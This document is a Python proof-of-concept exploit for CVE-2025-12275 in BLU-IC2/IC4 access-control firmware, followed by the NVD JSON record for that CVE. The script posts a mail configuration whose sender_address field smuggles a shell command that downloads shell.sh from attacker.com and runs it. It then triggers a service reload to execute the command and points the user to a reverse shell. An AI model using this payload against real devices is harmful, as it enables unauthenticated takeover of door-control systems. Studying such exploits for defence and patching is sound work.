CVE-2025-12275

# CVE-2025-12275 PoC - Mail Configuration File Manipulation # Target: BLU-IC2/BLU-IC4 < 1.19.6 # Vulnerability: Command Injection via Mail Configuration import requests import json TARGET = "http://target-device:8080" TARGET_CVE = "CVE-2025-12275" def exploit_mail_config_rce(): """ Exploit for CVE-2025-12275 Mail Configuration File Manipulation leading to RCE """ # Malicious payload to inject into mail config # This will execute arbitrary command when config is parsed payload = { "mail_server": "smtp.example.com", "mail_port": 25, "mail_username": "test", "mail_password": "test", # Inject command execution payload "sender_address": "$(wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh)", "config_file_path": "/etc/mail/sendmail.cf" } print(f"[*] Exploiting {TARGET_CVE} on {TARGET}") print(f"[*] Target product: BLU-IC2/IC4 < 1.19.6") # Step 1: Send malicious mail configuration endpoint = f"{TARGET}/api/mail/config" try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[+] Sent malicious configuration payload") print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Step 2: Trigger config reload to execute injected command trigger_endpoint = f"{TARGET}/api/mail/reload" try: trigger_response = requests.post(trigger_endpoint, timeout=10) print(f"[+] Triggered mail service reload") except requests.exceptions.RequestException as e: print(f"[-] Trigger failed: {e}") print(f"[*] Exploitation attempt completed") print(f"[*] Check for reverse shell on attacker server") return True if __name__ == "__main__": print("=" * 60) print(f"CVE-2025-12275 Exploitation Tool") print(f"Mail Configuration File Manipulation + RCE") print(f"=" * 60) exploit_mail_config_rce()

{"cve": {"id": "CVE-2025-12275", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-26T17:15:51.237", "lastModified": "2025-11-07T02:06:35.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mail Configuration File Manipulation + Command Execution.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}